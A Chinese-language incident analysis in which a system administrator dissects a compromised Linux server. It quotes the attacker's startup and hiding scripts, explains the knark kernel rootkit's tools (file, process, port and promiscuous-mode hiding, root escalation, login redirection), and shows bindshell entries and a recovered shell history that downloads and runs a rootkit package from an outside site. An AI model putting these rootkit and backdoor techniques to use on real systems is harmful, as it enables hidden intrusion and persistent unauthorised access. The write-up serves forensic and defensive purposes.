入侵分析\n原文:入侵分析\n作为系统管理员,只要付出1%的努力,就可以让99%的入侵者束手无策,但是满世界却偏偏总有着无数的机器,愿意Free地让入侵者们使用——或者删除…… \n#uname -a \nLinux *.*.cn.net 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686unknown \n俺习惯性地先进到/etc/rc.d/init.d,看了一下,马上发现异状: \n\n…… \n-rwxr-xr-x 1 root root 2775 Mar 26 1999 netfs \n-rwxr-xr-x 1 root root 5537 Mar 3 21:23 network \n-rwxr-xr-x 1 root root 2408 Apr 16 1999 nfs \n…… \n\n二、初步检查 \n\n明显是个新手干的嘛,network文件被人动过了,咱们用stat命令看看先: \n\n\nFile: \"network\" \nSize: 5537 Filetype: Regular File \nMode: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) \nDevice: 3,1 Inode: 269454 Links: 1 \nAccess: Sun Mar 11 10:59:59 2001(00000.05:53:41) \nModify: Sun Mar 4 05:23:41 2001(00007.11:29:59) \nChange: Sun Mar 4 05:23:41 2001(00007.11:29:59) \n\n最后被人改动的时间是3月4号的凌晨。让我们来看看他往文件里加了什么吧: \n\n\n…… \n/usr/lib/libdd.so.1 \n\n就是这么一句,加在文件末尾,看来的确是手段不甚高明。瞧瞧这是个什么文件先 \n\n\n/usr/lib/libdd.so.1: ELF 32-bit LSB executable, Intel 80386,version 1, dynamically linked (uses shared libs), not stripped \n\n哦,是个二进制的可执行文件,执行下strings看是否眼熟 \n\n\n/lib/ld-linux.so.2 \n__gmon_start__ \nlibc.so.6 \nsystem \n__deregister_frame_info \n_IO_stdin_used \n__libc_start_main \n__register_frame_info \nGLIBC_2.0 \nPTRh \n/boot/.pty0/go.sh <--------这条信息看上去比较有趣 \n\n哦,这就简单了嘛,俺看看这里面的路径: \n\n\n\n\nf=`ls -al /boot | grep .pty0` \nif [ -n \"$f\" ]; then \ncd /boot/.pty0 \n./mcd -q \ncd mech1 \n./mech -f conf 1>/dev/null 2>/dev/null \ncd .. \ncd mech2 \n./mech -f conf 1>/dev/null 2>/dev/null \ncd .. \ncd mech3 \n./mech -f conf 1>/dev/null 2>/dev/null \ncd .. \n\n/sbin/insmod paraport.o 1>/dev/null 2>/dev/null \n/sbin/insmod iBCS.o 1>/dev/null 2>/dev/null \n./ascunde.sh \nfi \n有点晕,看不明白mcd、mech这些东西是干嘛用的,再看一下下一个脚本是什么: \n\n\n\nfor proces in `/bin/cat /boot/.pty0/hdm`; do \nP=`/sbin/pidof $proces` \nif [ -n \"$P\" ]; then \nkillall -31 $proces 1>/dev/hdm 2>/dev/hdm \nfi \ndone \nfor port in `/bin/cat /boot/.pty0/hdm1`; do \n./nethide `./dec2hex $port` 1>/dev/hdm 2>/dev/hdm \ndone \nfor director in `/bin/cat /boot/.pty0/hdm2`; do \n./hidef $director 1>/dev/hdm 2>/dev/hdm \ndone \n\n看到这里,事情开始有趣了,这似乎不是一个三流的scriptkiddle干的活嘛,打个包拖回来先,于是俺 \n\n\n\ntotal 2265 \ndrwxr-xr-x 3 root root 1024 Mar 11 03:01 . \ndrwxr-xr-x 21 root root 1024 Mar 2 03:37 .. \nlrwxrwxrwx 1 root root 19 Sep 26 1999 System.map ->System.map-2.2.5-15 \n-rw-r--r-- 1 root root 186704 Apr 20 1999 System.map-2.2.5-15 \n-rw-r--r-- 1 root root 512 Sep 26 1999 boot.0300 \n-rw-r--r-- 1 root root 4544 Apr 13 1999 boot.b \n-rw-r--r-- 1 root root 612 Apr 13 1999 chain.b \n-rw------- 1 root root 9728 Sep 26 1999 map \nlrwxrwxrwx 1 root root 20 Sep 26 1999 module-info ->module-info-2.2.5-15 \n-rw-r--r-- 1 root root 11773 Apr 20 1999 module-info-2.2.5-15 \n-rw-r--r-- 1 root root 620 Apr 13 1999 os2_d.b \n-rwxr-xr-x 1 root root 1469282 Apr 20 1999 vmlinux-2.2.5-15 \nlrwxrwxrwx 1 root root 16 Sep 26 1999 vmlinuz ->vmlinuz-2.2.5-15 \n-rw-r--r-- 1 root root 617288 Apr 20 1999 vmlinuz-2.2.5-15 \n\n咦,事情更有趣了……居然没有看到.pty0的目录 \n\n\n\ntotal 1228 \ndrwxr-xr-x 3 root root 1024 Mar 11 03:01 ../ \n-rwxr-xr-x 1 root root 345 Mar 3 21:23 ascunde.sh* \n-rwxr-xr-x 1 root root 12760 Mar 3 21:23 dec2hex* \n-rwxr-xr-x 1 root root 13414 Mar 3 21:23 ered* \n-rwxr-xr-x 1 root root 358 Mar 7 19:03 go.sh* \n-rwxr-xr-x 1 root root 3872 Mar 3 21:23 hidef* \n-rw-r--r-- 1 root root 956 Mar 3 21:23 iBCS.o \n-rw-r--r-- 1 root root 524107 Mar 7 18:40 m.tgz \n-rwxr-xr-x 1 root root 656111 Mar 3 21:23 mcd* \ndrwxr-xr-x 4 root root 1024 Mar 7 19:00 mech1/ \ndrwxr-xr-x 4 root root 1024 Mar 9 19:50 mech2/ \ndrwxr-xr-x 4 root root 1024 Mar 9 19:20 mech3/ \n-rwxr-xr-x 1 root root 12890 Mar 3 21:23 nethide* \n-rw-r--r-- 1 root root 10948 Mar 3 21:23 paraport.o \n-rw-r--r-- 1 root root 522 Mar 3 21:23 ssh_host_key \n-rw------- 1 root root 512 Mar 11 04:16 ssh_random_seed \n-rw-r--r-- 1 root root 677 Mar 3 21:23 sshd_config \n\n看来是加载了某个lkm了,比较讨厌。 \n\n\nModule Size Used by \nnfsd 150936 8 (autoclean) \nlockd 30856 1 (autoclean) [nfsd] \nsunrpc 52356 1 (autoclean) [nfsd lockd] \n3c59x 18920 1 (autoclean) \n\n这些是正常的lkm么?前三个模块跟rpc有关,不知开了哪些rpc服务 \n\n\nprogram vers proto port \n100000 2 tcp 111 rpcbind \n100024 1 tcp 664 status \n100011 1 udp 673 rquotad \n100005 3 tcp 695 mountd \n100003 2 udp 2049 nfs \n100021 3 tcp 1024 nlockmgr \n\n原来如此,难怪会被入侵,该开的全开了。不过也证明了nfsd,lockd,sunrpc这三个模块没问题了。 \n再来看看网卡吧,3c59x是网卡的驱动模块。 \n\n\n/sbin/ifconfig -a \nlo Link encap:Local Loopback \ninet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0 \nUP LOOPBACK RUNNING MTU:3924 Metric:1 \nRX packets:380640 errors:3374 dropped:0 overruns:0 \nTX packets:0 errors:0 dropped:0 overruns:380640 \n\neth0 Link encap:10Mbps Ethernet HWaddr 00:10:5A:63:5B:05 \ninet addr:*.*.*.* Bcast:*.*.*.255 Mask:255.255.255.0 \nUP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 \nRX packets:71144611 errors:820101 dropped:0 overruns:0 \nTX packets:0 errors:0 dropped:0 overruns:436037129 \nInterrupt:10 Base address:0xe400 \n\n\neth0: 3Com 3c905B Cyclone 100baseTx at 0xe400, 00:10:5a:63:5b:05,IRQ 10 \neth0: Setting promiscuous mode. \ndevice eth0 entered promiscuous mode \n\n看来这些模块都是正常的,但比较狠的就是——device eth0 enteredpromiscuousmode——看来这入侵者架了sniffer开听了,但关键是现在这个入侵者加载了个俺看不到的家伙,有些晕了……咦,对了,看看文件名先…… \n\n三、模块介绍 \n\nnethide?似乎有点印象……好吧,到俺的一堆破烂里找找……咦,找到一篇knarkhacking的文章,里面有提到nethide,先当下一个来玩玩吧,有个版本号为knark-0.59的,是对LinuxKernel 2.2的,行……咱们先看看这是什么样的内核模块: \n\n除了taskhack.c之处,所有这些文件都是基于knark.o模块的正确加载。 \n\nhidef用来隐藏你的文件或者目录,你可以建立一个目录,比如/boot/.pty0,然后键入 \n./hidef/boot/.pty0于是这这个目录便被隐藏起来,并且连du之类的命令也不能 \n找出它来,同样的,子目录下的任何文件也一样地被藏得天衣无缝 \n\nered用来重定向执行某个程序,比如说,你把一个bindshell的程序拷到/boot/.pty0/bindshell, \n然后可以用./ered /bin/ls/boot/.pty0/bindshell这样的命令,将ls重定向到bindshell, \n当然,这样的话,ls是没变,但已经不能正确执行了。如果要清除所有的命令重定向,可以 \n键入./ered -c \n\nnethide用来隐藏/proc/net/tcp及/proc/net/udp里的连接进程——netstat就是从这里面获取信息并 \n输出的,比如你要隐藏端口43981的连接信息,你必须键入: \n./nethide \":ABCD \" \n你就可以象grep-v一样,过滤掉你不想让人看到的asp.cn/ class=wordstyle>网络连接信息了,比如你用: \nnetstat -at \n可能会有一行连接(ssh)的记录是这样的: \nProto Recv-Q Send-Q Local Address Foreign Address State \ntcp 0 0 localhost:ssh localhost:1023 ESTABLISHED \n我们来看看/proc/net/tcp里面的情况如何: \ncat /proc/net/tcp \n其中相应的行应该是这样的: \nlocal_address rem_address blablabla... \n0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:0000000000000000 \n如果我们想隐藏关于127.0.0.1这个IP地址的所有信息,首先就必须把它“翻译”成这种格式,127用 \n十六进制表示是7F,0是00,1是01,于是地址就是0100007F,然后,再跟上端口22是0016,就是: \n0100007F:0016了,于是我们键入: \n./nethide \"0100007F:0016\" 便可以将其隐藏得很漂亮了。 \n\nrootme 利用这个家伙,你可以不需要suid位,就能拿到root的权限喽: \n./rootme /bin/sh \n你也可以用这种方式来运行: \n./rootme /bin/ls -l /root \n这里必须注意,要输入完整的路径名。 \n\n\ntaskhack 可以改变运行着的进程的uid,euid,gid,egid等。 \n./taskhack -alluid=0 pid \n这可以把该进程所有的*uid(uid, euid, suid, fsuid)都改成0 \n你用: \nps aux | grep bash \ncreed 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash \n\nrexec 远程执行命令,比如: \n./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER \n\n\nknark还有一些其它的特性: \n将信号31发送给某个进程,能够在/proc里将进程文件隐藏起来,这样ps及top \n都无法看到,比如: \n\n如果这个进程还有它的子进程,那么也将一同被隐藏起来,所以如果你把你的shell \n隐藏掉的话,所有你键入的进程将都是不可见的。如果你想再看看,被隐藏起来的进 \n程藏在什么地方的话,可以看/proc/knark/pids文件,这里列出所有隐藏的家伙 \n\n闯入一个系统中,sniffer总是入侵者们用来扩大战果的玩意儿,现在也存在许多小工具 \n能够侦测到网卡是否被置于混杂模式,但如果你加载了这个模块,当人们在查询SIOCGIFFLAGS \n的标志位时,IFF_PROMISC——接口为随机(promiscuous)模式总是会被隐藏的。 \n\n这个包中还带有另一个小工具modhide,这个模块加载后,可以将最后加载至系统中的模块从 \n模块列表里移除——也就是/proc/module里面看不到它,示例如下: \n\n\nknark 6640 0 (unused) \n\n\n啥也没有了 \n\n最重要的是,我们可以在/proc/knark/目录——当然也是隐藏的——下面找到所有被藏起来的东西的资料。 \n\n四、分析 \n\n我们可以试着看看: \n\n\n\nHIDDEN FILES \n/boot/.pty0 \n/usr/lib/logem \n\n这两个目录就是被藏起来的了 \n\n\nHIDDEN STRINGS (without the quotes) \n\"CB0C\" \n\"17\" \n\":0947\" \n\n这里是三个netstat的隐藏。 \n\n\nEUID PID COMMAND \n0 112 mcd \n0 338 dittrich \n\n两个后门,一个bindshell,一个是伪装成ssh的,进程都被隐藏了。 \n\n\nREDIRECT FROM REDIRECT TO \n/bin/login /usr/lib/logem/login2 \n\n可执行程序重定向,这里是把login给重定向了。 \n\n现在很清楚了,黑客进来之后,首先是上传上/usr/lib/logem下面的文件,包括几个脚本及刚才分析的内核模块,以及几个后门,如login后门,ssh后门,然后修改了/etc/rc.d/init.d/network文件,加上/usr/lib/libdd.so.1行,以便系统启动时自加载,(/etc/inetd.conf里也被加上了一句echostream tcp nowait root /usr/sbin/echod/usr/sbin/echod,这样入侵者可以远程启动后门及内核模块,这里的echod与libdd.so.1是同样文件),这个程序指向/boot/.pty0/go.sh: \n\n这里面启动了几个irc的cliend端,连到国外的一些server上挂着——我不太理解为啥老外都这样?我连上去whois了一下,结果如下: \n\nCoitze is [email protected]_hacked_machine * Ask your girlfriend:> \nCoitze on @#radio21pitesti @#mafiotzii \nCoitze using McLean.VA.US.Undernet.Org CAIS Internet, US \nCoitze End of /WHOIS list. \n\n而go.sh又指向ascunde.sh,这里是这样的: \n\nfor proces in `/bin/cat /boot/.pty0/hdm`; do<-------hdm文件里有ncd、sh、mcd三行,也就是有这些东西是入侵者想隐藏的 \nP=`/sbin/pidof $proces` \nif [ -n \"$P\" ]; then \nkillall -31 $proces 1>/dev/hdm 2>/dev/hdm <-------发出kill-31的信号,调用加载的内核模块隐藏进程 \nfi \ndone \nfor port in `/bin/cat /boot/.pty0/hdm1`; do<--------hdm1里是51980及7,入侵者想隐藏的端口 \n./nethide `./dec2hex $port` 1>/dev/hdm 2>/dev/hdm<------dec2hex是一个小程序,把十进制数据转换成16进制 \ndone \nfor director in `/bin/cat /boot/.pty0/hdm2`; do<--------hdm2里是/boot/.pty0及/usr/lib/logem \n./hidef $director 1>/dev/hdm 2>/dev/hdm<------调用hidef将hdm2里的文件隐藏 \ndone \n\n基本上就是这样了,我们看看这个洋鬼子在/usr/lib/logem/下面放了些什么东西吧 \n\n\ndrwxr-xr-x 4 quack wheel 512 Mar 12 15:05 ./ \ndrwxr-xr-x 10 quack wheel 1536 Mar 12 08:44 ../ \n-rw-r--r-- 1 quack wheel 202 Feb 28 00:46 .bashrc \n-rw-r--r-- 1 quack wheel 295 Feb 28 00:46 autoexec \n-rwxr-xr-x 1 quack wheel 14460 Feb 28 00:46 dittrich* \ndrwxr-xr-x 2 quack wheel 512 Feb 28 00:46 knrk/ \n-rwsr-xr-x 1 quack wheel 20164 Feb 28 00:46 login2* \n-rwxr-xr-x 1 quack wheel 25284 Feb 28 00:46 portmap* \ndrwxr-xr-x 2 quack wheel 512 Feb 28 00:46 stuff/ \n\nknrk就是咱们刚才分析的内核模块编译过的版本。 \n\n\n\n/sbin/insmod -f /usr/lib/logem/knrk/knrk.o \n/sbin/insmod -f /usr/lib/logem/knrk/knrkmodhide.o \n/usr/lib/logem/knrk/knrkhidef /usr/lib/logem \n/usr/lib/logem/knrk/knrkered /bin/login /usr/lib/logem/login2 \n/usr/lib/logem/knrk/knrknethide \":0947\" \n/usr/lib/logem dittrich \nkillall -31 dittrich \n\n这里dittrich及portmap都是弹出shell的后门,而login2是一个假的login,只是这里这个家伙似乎对ered的理解有些问题,把/bin/login直接重定向到/usr/lib/logem/login2,会导致所有人登陆不上,因为运行login的时候,直接跑去runlogin2程序了——另外,这台机器没开telnet,root都从控制台登陆的,也不知这个入侵者是什么意思,或许是写了脚本自己入侵的吧。 \n\n\n\n\nif ! test $5; then \necho \"Syntax: conn \" \nexit 1 \nfi \n\nREWTIP=$3 \nREWTPASS=$5 \n\necho \"Connecting...\" \nexport DISPLAY=$REWTPASS \ntelnet $REWTIP \nexport DISPLAY=0 \necho \"Disconnected\" \n\n这是一个直接登陆到被放置login后门机器的脚本。 \n\n五、抓鬼 \n\n分析清楚了,还不够,咱得试着逮住这家伙才好呀,反正他的后门已经都知道了,咱们直接运行iplog之类的程序,就可以搞定它了,到http://download.sourceforge.net/ojnk/iplog-2.2.3.tar.gz下载iplog的最新版本,需要有libpcap的支持,编译后,借用这家伙的模块,直接kill-31 iplogs_pid,就把iplog进程隐藏了,等他上来吧 只要逮着连端口7或者51980的,估计都是bad guys \n\n六、后话 \n\n其实这台机器,俺仔细地看了看,除了上面分析的家伙,至少还有两个人登陆过,而且取得了root权限并安装后门、sniffer等等,从下面可以看出来: \n\n1、/etc/rc.d/rc.local \n\n\n\n\n\n/bin/bd <--------------这里是一个bindshell的后门 \n\nif [ -f /etc/redhat-release ]; then \nR=$(cat /etc/redhat-release) \n\narch=$(uname -m) \na=\"a\" \ncase \"_$arch\" in \n_a*) a=\"an\";; \n_i*) a=\"an\";; \nesac \n\n/usr/bin/bsgd <--------------另一个bindshell后门 \n\n\necho \"\" > /etc/issue \necho \"$R\" >> /etc/issue \necho \"Kernel $(uname -r) on $a $(uname -m)\" >> /etc/issue \n/usr/bin/hyme<---------------一个很常见的linux下的sniffer,该入侵者修改过程序 \n\ncp -f /etc/issue /etc/issue.net \necho >> /etc/issue \nfi \n\n2、/.bash_history \n\n\nmkdir /usr/src/.puta \ncd /usr/src/.puta \nlynx -dump http://www.angelfire.com/linux/tools/bkS.tgz >bkS.tgz \ntar -zxvf bkS.tgz \ncd bk ;./b0skit \ncat /etc/inetd.conf | grep -v 4512 > /tmp/back \nmv -f /tmp/back /etc/inetd.conf \nkillall -1 inetd\n\n |
|